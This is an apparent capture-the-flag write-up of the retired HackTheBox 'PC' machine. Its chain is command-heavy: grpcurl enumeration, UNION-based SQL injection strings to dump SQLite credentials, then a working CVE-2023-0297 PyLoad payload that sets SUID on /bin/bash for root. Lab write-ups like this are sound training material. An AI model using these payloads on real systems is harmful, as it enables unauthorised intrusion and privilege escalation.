~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / pc.md

pc

Linux · Easy · released 2023-05-20 · retired 2023-10-07

Summary

PC is an Easy Linux box: gRPC service on :50051. Register a user via RegisterUser, get a JWT, then SQLi the SQLite-backed getInfo endpoint → leak sau creds → SSH. Privesc: PyLoad on :9666 running as root → CVE-2023-0297 unauth RCE via /flash/addcrypted2’s js2py with pyimport enabled → SetUID bash.

The chain:

  1. grpcurl -plaintext 10.10.11.214:50051 list → enumerate.
  2. RegisterUser + LoginUser → JWT.
  3. getInfo SQLi: id="' UNION SELECT 1,2,group_concat(username||':'||password) FROM accounts--".
  4. sau:<password> → SSH.
  5. ss -tlnp → 127.0.0.1:9666 PyLoad. curl http://127.0.0.1:9666/flash/addcrypted2 -d 'jk=pyimport os;os.system("chmod +s /bin/bash")&package=x&crypted=x&passwords=x'
  6. bash -p → root.

Recon

22/tcp     OpenSSH
50051/tcp  gRPC (SimpleApp)
+ internal :9666 PyLoad (root)

Foothold — gRPC + SQLi

The service exposes three RPCs. grpcurl ... list SimpleApp shows the unprefixed names:

SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo

The route prefix is SimpleApp/<rpc>, not SimpleApp.SimpleApp/<rpc> — some online walkthroughs have the doubled prefix because the proto’s package and service share the name.

LoginUserResponse only carries a message: string field. The actual JWT is delivered as a gRPC response trailer, not in the body — grpcurl -v is required to see it:

grpcurl -plaintext -d '{"username":"admin1","password":"admin1"}' \
        <TARGET>:50051 SimpleApp/RegisterUser
# {"message":"Account created for user admin1!"}

TOK=$(grpcurl -plaintext -v \
        -d '{"username":"admin1","password":"admin1"}' \
        <TARGET>:50051 SimpleApp/LoginUser 2>&1 \
       | grep -oE 'eyJ[A-Za-z0-9._-]+' | head -1)

getInfoResponse has a single message field, so the SQL behind it is single-column. id is treated as a raw numeric SQL fragment (no enclosing quotes — the writeup-template ' UNION ... payload fails because the int cast is performed before the SQL); id=0 UNION SELECT ... skips the canned id-1 row and surfaces the union row. Schema discovery first, then dump:

# schema
grpcurl -plaintext -H "token: $TOK" \
  -d "{\"id\":\"1 UNION SELECT sql FROM sqlite_master WHERE name='accounts'\"}" \
  <TARGET>:50051 SimpleApp/getInfo
# CREATE TABLE accounts (username TEXT UNIQUE, password TEXT)

# dump
grpcurl -plaintext -H "token: $TOK" \
  -d "{\"id\":\"0 UNION SELECT group_concat(username||':'||password,' | ') FROM accounts\"}" \
  <TARGET>:50051 SimpleApp/getInfo
# admin:admin | sau:<password> | admin1:admin1

ssh sau@<TARGET>

Privesc — CVE-2023-0297 PyLoad

curl 'http://127.0.0.1:9666/flash/addcrypted2' \
  --data-urlencode 'jk=function f(){};pyimport os;os.system("chmod +s /bin/bash");' \
  --data 'package=x&crypted=eA==&passwords=x'
/bin/bash -p
# root

crypted must be valid base64 (e.g. eA== decodes to x) — the endpoint runs standard_b64decode on it before the jk JS is evaluated, and crypted=x raises binascii.Error: Invalid base64 encoded string which short-circuits the request before the sandbox-escape fires. The endpoint then logs "Could not decrypt key" even on success, which is fine — the side-effect (chmod +s /bin/bash) runs anyway.

Why each step worked

Counterfactuals

← all htb machines hackthebox.com ↗